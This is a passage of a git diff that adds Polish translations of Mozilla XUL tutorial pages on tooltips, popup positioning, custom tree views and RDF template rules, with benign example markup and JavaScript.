+<p>Druga możliwość to użycie elementu typu <code><code><a href="/pl/docs/Mozilla/Tech/XUL/tooltip" title="tooltip">tooltip</a></code></code> zawierającego treść podpowiedzi. Wymaga to oddzielnego bloku kodu dla każdej podpowiedzi lub skryptu generującego zawartość podpowiedzi. Zaletą takiego rozwiązania jest to, że można zawrzeć w niej dowolną treść.</p>
+
+<p><span class="comment">The second method is to use a &lt;code&gt;<code><a href="/pl/docs/Mozilla/Tech/XUL/tooltip" title="tooltip">tooltip</a></code>&lt;/code&gt; element containing the content of a tooltip. This requires you to have a separate block of content for each tooltip or to have a script which sets the content. However, it does allow you to use any content besides text in a tooltip.</span></p>
+
+<p><span id="Przyk%C5%82ad_2"><a id="Przyk%C5%82ad_2"></a><strong>Przykład 2</strong></span> : <a href="https://developer.mozilla.org/samples/xultu/examples/ex_popups_2.xul.txt">Źródła</a> <a href="https://developer.mozilla.org/samples/xultu/examples/ex_popups_2.xul">Podgląd</a></p>
+
+<pre>&lt;button label="Zapisz" tooltiptext="Kliknij tutaj, aby zapisać swoją zawartość"/&gt;
+
+&lt;popupset&gt;
+ &lt;tooltip id="moretip" orient="vertical" style="background-color: #33DD00;"&gt;
+ &lt;description value="Kliknij tutaj, aby dowiedzieć się więcej"/&gt;
+ &lt;description value="Naprawdę!" style="color: red;"/&gt;
+ &lt;/tooltip&gt;
+&lt;/popupset&gt;
+
+&lt;button label="Więcej" tooltip="moretip"/&gt;
+</pre>
+
+<p>Każdy z tych dwóch przycisków posiada podpowiedź. Pierwszy stosuje domyślny styl podpowiedzi, natomiast drugi posiada styl nadany przez użytkownika, mający inny kolor tła oraz styl czcionki. Podpowiedź przyporządkowana została wraz przyciskiem <code>Więcej</code> za pomocą atrybutu <code>tooltip</code>, który jest ustawiony do przesłania na wartość <code><code id="a-id"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/id">id</a></code></code> elementu <code><code><a href="/pl/docs/Mozilla/Tech/XUL/tooltip" title="tooltip">tooltip</a></code></code>. Zauważ, że element <code>tooltip</code> jest wciąż umieszczony wewnątrz elementu <code><code><a href="/pl/docs/Mozilla/Tech/XUL/popupset" title="popupset">popupset</a></code></code>, podobnie jak inne typy wyskakujących okienek (popup).</p>
+
+<p><span class="comment">powyżej fragment - zrobiony</span></p>
+
+<h3 id="Wyr.C3.B3wnywanie_okienek" name="Wyr.C3.B3wnywanie_okienek">Wyrównywanie okienek</h3>
+
+<p>Domyślnie okienko wyskakujące (<em>popup</em> ) oraz kontekstowe (<em>context window</em> ) zostaną wyświetlone tam gdzie znajduje się wzkaźnik myszy. Podpowiedź (<em>tooltip</em> ) pojawi się trochę poniżej elementu aby nie był zasłonięty przez wzkaźnik myszy. Czasami jednak zdarza się potrzeba większej kontroli nad miejscem wyświetlania okienka wyskakującego, na przykład menu które pojawia się po naciśnięciu przycisku Wstecz powinno pojawić się pod nim, a nie w miejscu gdzie znajduje się wzkaźnik myszy.</p>
+
+<p>W tym celu można użyć dodatkowego atrybutu elementu <code><code><a href="/pl/docs/Mozilla/Tech/XUL/popup" title="popup">popup</a></code></code> - <code><code id="a-position"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/position">position</a></code></code>. Można go również dodać do elementu typu <code><code><a href="/pl/docs/Mozilla/Tech/XUL/menupopup" title="menupopup">menupopup</a></code></code>. Jest on używany w celu ustawienia miejsca wyświetlania okienka względem elementu go wywołującego. Posiada kilka zdefiniowanych wartości, krótko opisanych poniżej:</p>
+
+<dl>
+ <dt>after_start </dt>
+ <dd>popup pojawi się poniżej elementu, wyrównanie wzdłuż lewych krawędzi. Popup zostanie rozszerzony po prawej stronie jeśli jest większy niż element. W ten sposób wyświetlane jest menu, które pojawia się po naciśnięciu przycisku Wstecz w przeglądarce.</dd>
+ <dt>after_end </dt>
+ <dd>popup pojawi się poniżej elementu, wyrównanie wzdłuż prawych krawędzi.</dd>
+ <dt>before_start </dt>
+ <dd>popup pojawi się powyżej elementu, wyrównanie wzdłuż lewych krawędzi.</dd>
+ <dt>before_end </dt>
+ <dd>popup pojawi się powyżej elementu, wyrównanie wzdłuż prawych krawędzi.</dd>
+ <dt>end_after </dt>
+ <dd>popup pojawi się po prawej stronie elementu, wyrównanie wzdłuż dolnych krawędzi.</dd>
+ <dt>end_before </dt>
+ <dd>popup pojawi się po prawej stronie elementu, wyrównanie wzdłuż górnych krawędzi.</dd>
+ <dt>start_after </dt>
+ <dd>popup pojawi się po lewej stronie elementu, wyrównanie wzdłuż dolnych krawędzi.</dd>
+ <dt>start_before </dt>
+ <dd>popup pojawi się po lewej stronie elementu, wyrównanie wzdłuż górnych krawędzi.</dd>
+ <dt>overlap </dt>
+ <dd>popup pojawi się na elemencie.</dd>
+ <dt>at_pointer </dt>
+ <dd>popup pojawi się w tym samym miejscu, co wzkaźnik myszy.</dd>
+ <dt>after_pointer </dt>
+ <dd>popup pojawi się na takim samym poziomie co wzkaźnik myszy, ale poniżej elementu. W ten sposób zostaje wyświetlona podpowiedź.</dd>
+</dl>
+
+<p>Dodając do elementu jeden lub dwa takie atrybuty, można dokładnie określić, gdzie popup powinien się pojawić (nie można określić położenia w pikselach). Atrybutu<em>position</em> można użyć z wszystkimi typami okienek wyskakujących, ale zazwyczaj nie zmienia się jego wartości dla podpowiedzi.</p>
+
+<p>Poniższy przykład pokazuje sposób tworzenia przycisku Wstecz wraz z menu wyskakującym:</p>
+
+<h4 id="Przycisk_z_menu_wyskakuj.C4.85cym" name="Przycisk_z_menu_wyskakuj.C4.85cym">Przycisk z menu wyskakującym</h4>
+
+<p><a href="https://developer.mozilla.org/samples/xultu/examples/ex_popups_3.xul.txt">Źródła</a> <a href="https://developer.mozilla.org/samples/xultu/examples/ex_popups_3.xul">Podgląd</a></p>
+
+<pre>&lt;popupset&gt;
+ &lt;popup id="backpopup" position="after_start"&gt;
+ &lt;menuitem label="Page 1"/&gt;
+ &lt;menuitem label="Page 2"/&gt;
+ &lt;/popup&gt;
+&lt;/popupset&gt;
+
+&lt;button label="Pop Me Up" popup="backpopup"/&gt;
+</pre>
+
+<div class="highlight">
+<h3 id="Nasz_przyk.C5.82ad:_Znajd.C5.BA_pliki" name="Nasz_przyk.C5.82ad:_Znajd.C5.BA_pliki">Nasz przykład: <code>Znajdź pliki</code></h3>
+
+<p>Dodajmy proste menu wyskakujące do okienka dialogowego <code>Znajdź pliki</code>. Dla przejrzystości zawartość będzie taka sama jak w menu <code>Edycja</code><code>Znajdź pliki</code>. Popup pojawi się po kliknięciu pierwszej zakładki:</p>
+
+<pre class="eval"><span class="highlightred">&lt;popupset&gt;
+ &lt;popup id="editpopup"&gt;
+ &lt;menuitem label="Wytnij" accesskey="t"/&gt;
+ &lt;menuitem label="Kopiuj" accesskey="k"/&gt;
+ &lt;menuitem label="Wklej" accesskey="w" disabled="true"/&gt;
+ &lt;/popup&gt;
+&lt;/popupset&gt;</span>
+
+&lt;vbox flex="1"&gt;
+.
+.
+.
+
+<span class="highlightred">&lt;tabpanel id="searchpanel" orient="vertical" context="editpopup"&gt;</span>
+</pre>
+
+<p>Proste menu zostało dodane do pierwszej zakładki. Pojawi się ono po naciśnięciu prawego przycisku myszy (lub z klawiszem Ctrl na Macintoshu) gdziekolwiek na pierwszym panelu, natomiast kliknięcie w innym miejscu nie spowoduje żadnego efektu. Warto zauważyć że 'textbox' posiada swoje własne wbudowane menu, które zastąpi nasze.</p>
+
+<p>Nasz przykład, okienko dialogowe <code>Znajdź pliki</code>: <a href="https://developer.mozilla.org/samples/xultu/examples/findfile/findfile-popups.xul.txt">Źródła</a> <a href="https://developer.mozilla.org/samples/xultu/examples/findfile/findfile-popups.xul">Podgląd</a></p>
+</div>
+
+<p>W następnym artykule zostaną <a href="pl/Kurs_XUL/Przewijane_menu">omówione menu przewijane</a>.</p>
+
+<p></p><div class="prevnext" style="text-align: right;">
+ <p><a href="/pl/docs/Kurs_XUL:Dodatkowe_możliwości_menu" style="float: left;">« Poprzedni</a><a href="/pl/docs/Kurs_XUL:Przewijane_menu">Następny »</a></p>
+</div><p></p>
diff --git a/files/pl/mozilla/tech/xul/kurs_xul/własne_widoki_drzewa/index.html b/files/pl/mozilla/tech/xul/kurs_xul/własne_widoki_drzewa/index.html
new file mode 100644
index 0000000000..d1ac85888d
--- /dev/null
+++ b/files/pl/mozilla/tech/xul/kurs_xul/własne_widoki_drzewa/index.html
@@ -0,0 +1,149 @@
+---
+title: Własne widoki drzewa
+slug: Mozilla/Tech/XUL/Kurs_XUL/Własne_widoki_drzewa
+tags:
+ - Kurs_XUL
+ - Przewodniki
+ - XUL
+translation_of: Archive/Mozilla/XUL/Tutorial/Custom_Tree_Views
+---
+<p></p><div class="prevnext" style="text-align: right;">
+ <p><a href="/pl/docs/Kurs_XUL:Zaznaczenie_drzewa" style="float: left;">« Poprzedni</a><a href="/pl/docs/Kurs_XUL:Szczegóły_widoku_drzewa">Następny »</a></p>
+</div><p></p>
+
+<p>Widok drzewa przetrzymuje dane, które mają być wyświetlone w drzewie.</p>
+
+<h2 id="Tworzenie_w.C5.82asnych_widok.C3.B3w" name="Tworzenie_w.C5.82asnych_widok.C3.B3w">Tworzenie własnych widoków</h2>
+
+<p>Dotychczas używaliśmy wbudowanych wyglądów drzewa. W tej sekcji przyjrzymy się tworzeniu własnego wyglądu. Jest to konieczne w sytuacji, gdy ilość danych jest bardzo duża, lub są one kompleksowo zaaranżowane. Na przykład, wydajność była by niezbyt duża w sytuacji gdybyśmy mieli użyć treeitems kilka tysięcy razy. Możesz też tworzyć własny widok w sytuacji, gdy chcesz wykonać obliczenia na danych, które maja być wyświetlone. Ponieważ widok może magazynować i odzyskiwać dane w sposób najbardziej odpowiedni dla użytych danych, drzewo może być użyte nawet setki tysięcy razy.</p>
+
+<div class="note">Uwaga: The tree-related interfaces changed in <a href="/pl/Gecko" title="pl/Gecko">Gecko</a> 1.8. Zobacz <a href="/pl/Tree_Widget_Changes" title="pl/Tree_Widget_Changes">Tree Widget Changes</a>, aby uzyskać więcej informacji.</div>
+
+<p>Żeby implementować własny wygląd, będziesz musiał stworzyć obiekt wprowadzający interfejs <a class="external" href="http://xulplanet.com/references/xpcomref/ifaces/nsITreeView.html">nsITreeView</a>. Możesz tworzyć te obiekty w <a href="/pl/JavaScript" title="pl/JavaScript">JavaScript</a>, ale będziesz potrzebować oddzielnego obiektu dla każdego drzewa. Naturalnie, ponieważ własny widok będzie używany, wbudowany widok nie będzie już używany, więc <code><code><a href="/pl/docs/Mozilla/Tech/XUL/treeitem" title="treeitem">treeitem</a></code></code>, <code><code><a href="/pl/docs/Mozilla/Tech/XUL/treerow" title="treerow">treerow</a></code></code> i <code><code><a href="/pl/docs/Mozilla/Tech/XUL/treecell" title="treecell">treecell</a></code></code> będą bezużyteczne, ponieważ własny widok będzie otrzymywać dane z innego źródła. Tak więc <code><code><a href="/pl/docs/Mozilla/Tech/XUL/treechildren" title="treechildren">treechildren</a></code></code> może zostać pusty. Przykład:</p>
+
+<pre>&lt;tree id="my-tree" flex="1"&gt;
+ &lt;treecols&gt;
+ &lt;treecol id="namecol" label="Name" flex="1"/&gt;
+ &lt;treecol id="datecol" label="Date" flex="1"/&gt;
+ &lt;/treecols&gt;
+ &lt;treechildren/&gt;
+&lt;/tree&gt;
+</pre>
+
+<p>By wyznaczyć dane do pokazania w drzewie, musi być stworzony obiekt widoku, który jest użyty dla każdej komórki, całkowita liczba wierszy plus inne opcjonalne informacje. Drzewo wywoła metody widoku w celu otrzymania informacji potrzebnych do wyświetlenia.</p>
+
+<p>Generalnie, chociaż widok drzewa ma około trzydziestu funkcji mogących zostać zaimplementowanymi, musimy je uruchomić tylko jednokrotnie, gdy drzewo ją wywołuje.</p>
+
+<dl>
+ <dt>rowCount</dt>
+ <dd>Własność powinna być ustawiona, do ustalenia dla całkowitej liczby wierszy w drzewie.</dd>
+</dl>
+
+<dl>
+ <dt>getCellText( row , column )</dt>
+ <dd>Metoda ta, zwraca tekst zawarty w podanej kolumnie i wierszu. Będzie używana do wyświetlania danych dla każdej komórki. Wiersze podaje się numerycznie, zaczynając od 0. Kolumny, to atrybut id przypisany kolumnom. W Mozilla 1.8 i późniejszych, zamiast tego będzie używany obiekt treeColumn.</dd>
+</dl>
+
+<dl>
+ <dt>setTree( tree )</dt>
+ <dd>Metoda ta, jest wywoływana jednokrotnie, w celu umieszczenia elementu drzewa w widoku.</dd>
+</dl>
+
+<p>Tutaj jest przykład definicji takiego obiektu, który może być wywołany, kiedy tylko chcesz:</p>
+
+<pre>//Moz 1.8
+var treeView = {
+ rowCount : 10000,
+ getCellText : function(row,column){
+ if (column.id == "namecol") return "Wiersz "+row;
+ else return "18 luty";
+ },
+ setTree: function(treebox){ this.treebox = treebox; },
+ isContainer: function(row){ return false; },
+ isSeparator: function(row){ return false; },
+ isSorted: function(){ return false; },
+ getLevel: function(row){ return 0; },
+ getImageSrc: function(row,col){ return null; },
+ getRowProperties: function(row,props){},
+ getCellProperties: function(row,col,props){},
+ getColumnProperties: function(colid,col,props){}
+};
+</pre>
+
+<p>Funkcje nieopisane powyżej nie pełnią żadnego zadania, lecz muszą być użyte, gdy drzewo będzie je wywoływać w celu zebrania dodatkowych informacji.</p>
+
+<p>Ten przykład może zostać użyty dla drzewa z 10000 wierszy. Zawartość komórek pierwszej kolumny będzie wypełniona tekstem <code>Row X</code>, gdzie X jest numerem wiersza. Zawartość komórek drugiej kolumny będzie ustawiona na ‘18 luty’. Warunek <code>if</code> funkcji <code>getCellText()</code> porównuje kolumnę z tekstem ‘namecol’. Tekst ‘namecol’ odpowiada <code>id</code> pierwszego <code><code><a href="/pl/docs/Mozilla/Tech/XUL/treecol" title="treecol">treecol</a></code></code> w powyższym przykładzie. Przykład jest oczywiście bardzo prosty, w rzeczywistości miał być bardziej skomplikowane dane w każdej komórce.</p>
+
+<p>Ostatnim krokiem będzie skojarzenie obiektu widoku z drzewem. Drzewo ma własność <code>view</code>, która może być przyporządkowana do obiektu widoku deklarowanego powyżej. Możemy wyznaczyć wartość tej własności, by w dowolnym czasie, ustawić lub zmienić widok.</p>
+
+<p><span class="comment">&lt;div class="note"&gt;Note: The tree-related interfaces changed in <a href="/pl/Gecko">Gecko</a> 1.8. See <a href="/pl/Tree_Widget_Changes">Tree Widget Changes</a> for details.&lt;/div&gt; To implement a custom view, you will need to create an object which implements the <a class="external" href="http://xulplanet.com/references/xpcomref/ifaces/nsITreeView.html">nsITreeView</a> interface. You can create these objects in <a href="/pl/JavaScript">'JavaScript</a>, but you will need a separate object for each tree. Naturally, since a custom tree view is being used, the content tree view will not be used, so the &lt;code&gt;<code><a href="/pl/docs/Mozilla/Tech/XUL/treeitem" title="treeitem">treeitem</a></code>&lt;/code&gt;, &lt;code&gt;<code><a href="/pl/docs/Mozilla/Tech/XUL/treerow" title="treerow">treerow</a></code>&lt;/code&gt;, and &lt;code&gt;<code><a href="/pl/docs/Mozilla/Tech/XUL/treecell" title="treecell">treecell</a></code>&lt;/code&gt; elements will have no purpose since the custom view will get its data from elsewhere. Thus, you can just leave the &lt;code&gt;<code><a href="/pl/docs/Mozilla/Tech/XUL/treechildren" title="treechildren">treechildren</a></code>&lt;/code&gt; element empty. The following example shows this:</span></p>
+
+<pre>function setView()
+{
+ document.getElementById('my-tree').view = treeView;
+}
+</pre>
+
+<p>W celu uproszczenia przykładu, użyto wbudowanego skryptu. Normalnie byłby on umieszczony w zewnętrznym pliku.</p>
+
+<h3 id="Przyk.C5.82ad_drzewa_u.C5.BCytkownika" name="Przyk.C5.82ad_drzewa_u.C5.BCytkownika">Przykład drzewa użytkownika</h3>
+
+<p><a href="https://developer.mozilla.org/samples/xultu/examples/ex_treeview_1.xul.txt">Źródła</a></p>
+
+<div class="float-right"><img alt="grafika:treeview1.png" class="internal" src="/@api/deki/files/2515/=Treeview1.png"></div>
+
+<pre>&lt;?xml version="1.0"?&gt;
+&lt;?xml-stylesheet href="chrome://global/skin/" type="text/css"?&gt;
+
+&lt;window title="Przykład okna" id="tree-window"
+ xmlns="http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul"
+ onload="setView();"&gt;
+
+&lt;script&gt;
+//Moz 1.8
+var treeView = {
+ rowCount : 10000,
+ getCellText : function(row,column){
+ if (column.id == "namecol") return "Row "+row;
+ else return "February 18";
+ },
+ setTree: function(treebox){ this.treebox = treebox; },
+ isContainer: function(row){ return false; },
+ isSeparator: function(row){ return false; },
+ isSorted: function(){ return false; },
+ getLevel: function(row){ return 0; },
+ getImageSrc: function(row,col){ return null; },
+ getRowProperties: function(row,props){},
+ getCellProperties: function(row,col,props){},
+ getColumnProperties: function(colid,col,props){}
+};
+
+function setView(){
+ document.getElementById('my-tree').view = treeView;
+}
+&lt;/script&gt;
+
+&lt;tree id="my-tree" flex="1"&gt;
+ &lt;treecols&gt;
+ &lt;treecol id="namecol" label="Nazwa" flex="1"/&gt;
+ &lt;treecol id="datecol" label="Data" flex="1"/&gt;
+ &lt;/treecols&gt;
+ &lt;treechildren/&gt;
+&lt;/tree&gt;
+
+&lt;/window&gt;
+</pre>
+
+<p>Na obrazku widoczne są 2 kolumny każda z danymi, pobranymi z funkcji <code>getCellText()</code>. Funkcja <code>setView()</code> była wywołana w operatorze okna <code>onload()</code>, jednak mógłbyś ustawić widok jeżeli tak sobie zażyczysz. Widok możesz zmieniać w dowolnym momencie.</p>
+
+<p>Rzeczą, którą należy zapamiętać to, to że funkcja <code>getCellText()</code> jest wywoływana tylko kiedy jest potrzeba pokazania zawartości. Z pośród 10000 wierszy powyżej, <code>getCellText()</code> jest uruchamiana tylko dla aktualnie widocznych komórek. Na obrazku jest pokazanych tylko 7 wierszy, ostatni tylko częściowo, więc <code>getCellText</code> będzie wywołana tylko 14 razy, po razie dla każdego wiersza i kolumny. Dla innych wierszy jest uruchamiana w momencie przewijania przez użytkownika. Dzięki temu drzewo działa bardziej efektywnie.</p>
+
+<p>Zauważ to, że obiekt widoku jest dostępny też dla drzew używających wbudowanego wyglądu. Możesz używać tego by zdobyć etykiety i inne informacje nt. komórki.</p>
+
+<p><a class="external" href="http://www.xulplanet.com/references/xpcomref/ifaces/nsITreeView.html">Interfejs nsITreeView</a> listuje wszystkie metody i własności, które możemy zastosować dla widoku drzewa.</p>
+
+<p>Następnie, zobaczymy więcej <a href="/pl/Kurs_XUL/Szczegóły_widoku_drzewa" title="pl/Kurs_XUL/Szczegóły_widoku_drzewa">szczegółów widoku drzewa</a>.</p>
+
+<p></p><div class="prevnext" style="text-align: right;">
+ <p><a href="/pl/docs/Kurs_XUL:Zaznaczenie_drzewa" style="float: left;">« Poprzedni</a><a href="/pl/docs/Kurs_XUL:Szczegóły_widoku_drzewa">Następny »</a></p>
+</div><p></p>
diff --git a/files/pl/mozilla/tech/xul/kurs_xul/zaawansowane_reguły/index.html b/files/pl/mozilla/tech/xul/kurs_xul/zaawansowane_reguły/index.html
new file mode 100644
index 0000000000..1f895144ec
--- /dev/null
+++ b/files/pl/mozilla/tech/xul/kurs_xul/zaawansowane_reguły/index.html
@@ -0,0 +1,219 @@
+---
+title: Zaawansowane reguły
+slug: Mozilla/Tech/XUL/Kurs_XUL/Zaawansowane_reguły
+tags:
+ - Kurs_XUL
+ - Przewodniki
+ - XUL
+translation_of: Archive/Mozilla/XUL/Tutorial/Advanced_Rules
+---
+<p></p><div class="prevnext" style="text-align: right;">
+ <p><a href="/pl/docs/Kurs_XUL:Źródła_danych_RDF" style="float: left;">« Poprzedni</a><a href="/pl/docs/Kurs_XUL:Trwałe_dane">Następny »</a></p>
+</div><p></p>
+
+<p>Artykuł ten, opisuje więcej zaawansowanych zasad składni.</p>
+
+<h2 id="Pe.C5.82ne_zasady_sk.C5.82adni" name="Pe.C5.82ne_zasady_sk.C5.82adni">Pełne zasady składni</h2>
+
+<p>Reguły składni opisującej dotychczas używane były w pewnych ilościach w kodzie źródłowym ale czasami będą potrzebne do wyświetlenia dane w sposób bardziej skomplikowany. Prosta reguła składni jest naprawdę tylko skrótem dla pełnej zasady składni, która jest opisana poniżej. Jak prosta zasada składni, tak i pełna zasada jest umieszczana w obrębie tagu <code><code><a href="/pl/docs/Mozilla/Tech/XUL/rule" title="rule">rule</a></code></code>.</p>
+
+<p>Pełne reguły zawierają trzy tagi będące potomnymi, <code><code><a href="/pl/docs/Mozilla/Tech/XUL/conditions" title="conditions">conditions</a></code></code> stanami tagu, <code><code><a href="/pl/docs/Mozilla/Tech/XUL/bindings" title="bindings">bindings</a></code></code> opraw tagu i <code><code><a href="/pl/docs/Mozilla/Tech/XUL/action" title="action">action</a></code></code> akcji tagu, poprzez <code><code><a href="/pl/docs/Mozilla/Tech/XUL/bindings" title="bindings">bindings</a></code></code> tag jest nie zawsze potrzebny.</p>
+
+<p>Element <code>conditions</code> jest użyty jako specyficzne kryterium odpowiadające dawanych źródeł. Możesz określić liczbę stanów odpowiadającą, wszystkim które muszą odpowiedzieć. W prostej regule składni, stany te są umiejscowione bezpośrednio w <code>rule</code> własnej elementu.</p>
+
+<p>Jeżeli warunki spotkania odpowiadają zawartości źródła, zawartość ta umieszczona wewnątrz tagu <code>actions</code> jest wygenerowana. W prostej składni, zawartość jest umieszczona bezpośrednio wewnątrz <code>rule</code>.</p>
+
+<h2 id="Zasady" name="Zasady">Zasady</h2>
+
+<p>Kiedy drzewo, menu lub inny element z kodem źródłowym wygenerują zawartość, budowniczy szablonu pierwszy znajdzie źródło kierując się atrybutem <code>ref</code>. To potem powtarzamy nad całym tym źródłem będącego potomkiem zawartości. Stosuje się to w każdym stanie źródła. Jeśli warunki odpowiadają zawartości źródła, to zawartość w elemencie <code>actions</code> jest generowana dla tego źródła. Jeśli warunki są nie spełnione, zawartość nie jest generowana.</p>
+
+<h3 id="Element_content" name="Element_content">Element <code>content</code></h3>
+
+<p>Element <code><code><a href="/pl/docs/Mozilla/Tech/XUL/conditions" title="conditions">conditions</a></code></code> może zawierać trzy elementy. Pierwszy do zawartość elementu <code><code><a href="/pl/docs/Mozilla/Tech/XUL/content" title="content">content</a></code></code>, który powinien zawsze występować tylko raz. Służy on za miejsce przechowywania podczas przeglądania zasobów przez budowniczego szablonu. Wyszczególnia on nazwę zmiennej, w której przechowywany jest odnośnik do głównego zasobu (
+
+ <i>root resource</i>
+ ), podczas gdy warunki są analizowane w celu dopasowania. Główny zasób jest określony przez atrybut <code><code id="a-ref"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/ref">ref</a></code></code> w elemencie zawierającym szablon.</p>
+
+<p>Składnia elementu content zawiera następujący kod:</p>
+
+<pre>&lt;content uri="?var"/&gt;
+</pre>
+
+<p>Znak zapytania oznacza, że następujący potem tekst jest zmienną. Możesz więc użyć zmiennej 'var' wewnątrz pozostałych warunków. Oczywiście możesz nazywać zmienną jak tylko chcesz.</p>
+
+<h3 id="Element_member" name="Element_member">Element <code>member</code></h3>
+
+<p>Następujący element jest elementem <code><code><a href="/pl/docs/Mozilla/Tech/XUL/member" title="member">member</a></code></code>, który jest używany do przeglądania zestawu potomnych zasobów. W terminach RDF oznacza to zasobnik taki jak Seq, Bag albo Alt. Powiedzmy, że masz listę miast opisanych w następującym fragmencie RDF/XML:</p>
+
+<pre>&lt;RDF:Seq about="http://www.xulplanet.com/rdf/weather/cities"&gt;
+ &lt;RDF:li resource="http://www.xulplanet.com/rdf/weather/city/Paris"/&gt;
+ &lt;RDF:li resource="http://www.xulplanet.com/rdf/weather/city/Manchester"/&gt;
+ &lt;RDF:li resource="http://www.xulplanet.com/rdf/weather/city/Melbourne"/&gt;
+ &lt;RDF:li resource="http://www.xulplanet.com/rdf/weather/city/Kiev"/&gt;
+&lt;/RDF:Seq&gt;
+
+&lt;RDF:Description about="http://www.xulplanet.com/rdf/weather/city/Paris"&gt;
+ &lt;cityset:name&gt;Paris&lt;/cityset:name&gt;
+&lt;/RDF:Description&gt;
+
+.
+.
+.
+</pre>
+
+<p>Możesz chcieć wyświetlić element wiersza w drzewie dla każdego opisu. Do zrobienia tego, użyj elementu <code><code><a href="/pl/docs/Mozilla/Tech/XUL/member" title="member">member</a></code></code> jak poniżej:</p>
+
+<pre>&lt;tree id="citiesTree" datasources="weather.rdf"
+ ref="http://www.xulplanet.com/rdf/weather/cities"&gt;
+ &lt;template&gt;
+ &lt;rule&gt;
+ &lt;conditions&gt;
+ &lt;content uri="?list"/&gt;
+ &lt;member container="?list" child="?city"/&gt;
+ &lt;/conditions&gt;
+ &lt;rule&gt;
+ &lt;template&gt;
+&lt;/tree&gt;
+</pre>
+
+<p><br>
+ Budowniczy szablonu rozpoczyna od przechwycenia wartości atrybutu <code><code id="a-ref"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/ref">ref</a></code></code>, którą w tym przypadku jest <code><a class="external" href="http://www.xulplanet.com/rdf/weather/cities" rel="freelink">http://www.xulplanet.com/rdf/weather/cities</a></code>. Ten zasób będzie umieszczone w zmiennej 'list', jak zostało ustalone w znaczniku <code><code><a href="/pl/docs/Mozilla/Tech/XUL/content" title="content">content</a></code></code>. Możemy następnie pobrać pokrewne zasoby używając zmiennej 'list'.</p>
+
+<p>Potem budowniczy szablonu widzi element <code><code><a href="/pl/docs/Mozilla/Tech/XUL/member" title="member">member</a></code></code>. Sprawia on, że budowniczy wędruje przez elementy potomne danego elementu. Element rodzic jest wyszczególniony przez atrybut <code><code id="a-container"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/container">container</a></code></code>, a elementy dzieci - przez atrybut <code>child</code>. W przykładzie powyżej wartość atrybutu <code><code id="a-container"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/container">container</a></code></code> to zmienna 'list'. Z tego wynika, że rodzic będzie wartością zmiennej list, która została ustawiona na główny zasób '<a class="external" href="http://www.xulplanet.com/rdf/weather/cities" rel="freelink">http://www.xulplanet.com/rdf/weather/cities</a>'. Efektem tego będzie przejście przez listę dzieci tego zasobu.</p>
+
+<p>Jeśli spojrzymy na powyższy RDF zobaczymy, że zasób "<a class="external" href="http://www.xulplanet.com/rdf/weather/cities" rel="freelink">http://www.xulplanet.com/rdf/weather/cities</a>" ma czworo dzieci, każdego dla innego miasta. Budowniczy szablonu wędruje przez każdego z nich, dopasowując go do wartości atrybutu dziecka ("child attribute"). W tym przypadku jest to po prostu wartość "city". Tak więc budowniczy wstawi zmienną "city" w miejsce wartości każdego zasobu potomnego.</p>
+
+<p>Ponieważ nie ma więcej warunków, warunek pasuje do każdego z tych czterech zasobów i budowniczy wygeneruje zawartość dla każdego z tej czwórki. Oczywiście powyższy przykład nie ma żadnej zawartości. Dodamy ją później.</p>
+
+<h3 id="triple_element" name="triple_element"><code>triple</code> element</h3>
+
+<p>Następnym elementem jest element <code><code><a href="/pl/docs/Mozilla/Tech/XUL/triple" title="triple">triple</a></code></code>. Jest używany w celu sprawdzenia istnienia danego powiązania (potwierdzenie: prawda/fałsz) w danych źródłowych RDFu.
+
+ <i>Triple</i>
+ jest jak własność zasobu. Na przykład triple istnieje pomiędzy zakładką a jej adresem URL. Można to przedstawić następująco:</p>
+
+<pre>A Bookmark to mozilla.org -&gt; URL -&gt; www.mozilla.org
+</pre>
+
+<p>Znaczy to, że jest powiązanie (
+ <i>triple</i>
+ ) pomiędzy zakładką 'A Bookmark to mozilla.org', a 'www.mozilla.org' poprzez własność URL. Pierwsza część tego wyrażenia jest nazwana podmiotem, druga - orzeczeniem, a trzecia to obiekt. Jako element <code><code><a href="/pl/docs/Mozilla/Tech/XUL/triple" title="triple">triple</a></code></code> wyrażałby się następująco:</p>
+
+<pre>&lt;triple subject="A Bookmark to mozilla.org"
+ predicate="URL"
+ object="www.mozilla.org"/&gt;
+</pre>
+
+<p>Zostało to nieco uproszczone w porównaniu z realnym kodem. Orzeczenie normalnie zawierałoby miejsce na nazwę, a podmiot byłby identyfikatorem id zasobu zakładki, a nie jej tytułem, jak powyżej. W rzeczywistości, tytuł zakładki byłby kolejnym powiązaniem w źródle danych, używanym z orzeczeniem Name.</p>
+
+<p>Możesz wymienić podmiot i obiekt w elemencie <code>triple</code> na odnośniki zmiennych, a wtedy w miejsce zmiennych wstawione zostaną wartości. Jeśli żadna wartość nie zostanie zdefiniowana dla danej zmiennej, budowniczy szablonu poszuka zmiennej w źródle danych i przypisze ją danej zmiennej.</p>
+
+<p>Powiedzmy, że chcemy dodać przewidywanie pogody do danych źródłowych miast. Można użyć następujących warunków:</p>
+
+<pre>&lt;conditions&gt;
+ &lt;content uri="?list"/&gt;
+ &lt;member container="?list" child="?city"/&gt;
+ &lt;triple subject="?city"
+ predicate="http://www.xulplanet.com/rdf/weather#prediction"
+ object="?pred"/&gt;
+&lt;/conditions&gt;
+</pre>
+
+<p>Budowniczy szablonu będzie wędrował przez każde miasto jak wcześniej. Gdy dojdzie do triple, poszuka potwierdzenia w danych źródłowych RDFu czy istnieją przewidywania pogodowe dla danego miasta. Zmiennej 'pred' zostaną przypisane odpowiednie dane. Budowniczy powtórzy to dla każdego z czterech miast. Pojawi się dopasowanie, a budowniczy wygeneruje zawartość każdego miasta, które posiada prognozę. Jeśli miasto nie ma zasobu prognozowego, warunek nie pasuje do niego i nie zostanie wygenerowana zawartość dla takiego miasta. Zauważmy, że nie trzeba wstawiać 'rdf:' na początku orzeczenia, jako że tą część zakładamy wcześniej.</p>
+
+<p>Moglibyśmy zastępować także <code>object</code> wartością wewnątrz linii. Na przykład:</p>
+
+<pre>&lt;conditions&gt;
+ &lt;content uri="?city"/&gt;
+ &lt;triple subject="?city"
+ predicate="http://www.xulplanet.com/rdf/weather#prediction"
+ object="Cloudy"/&gt;
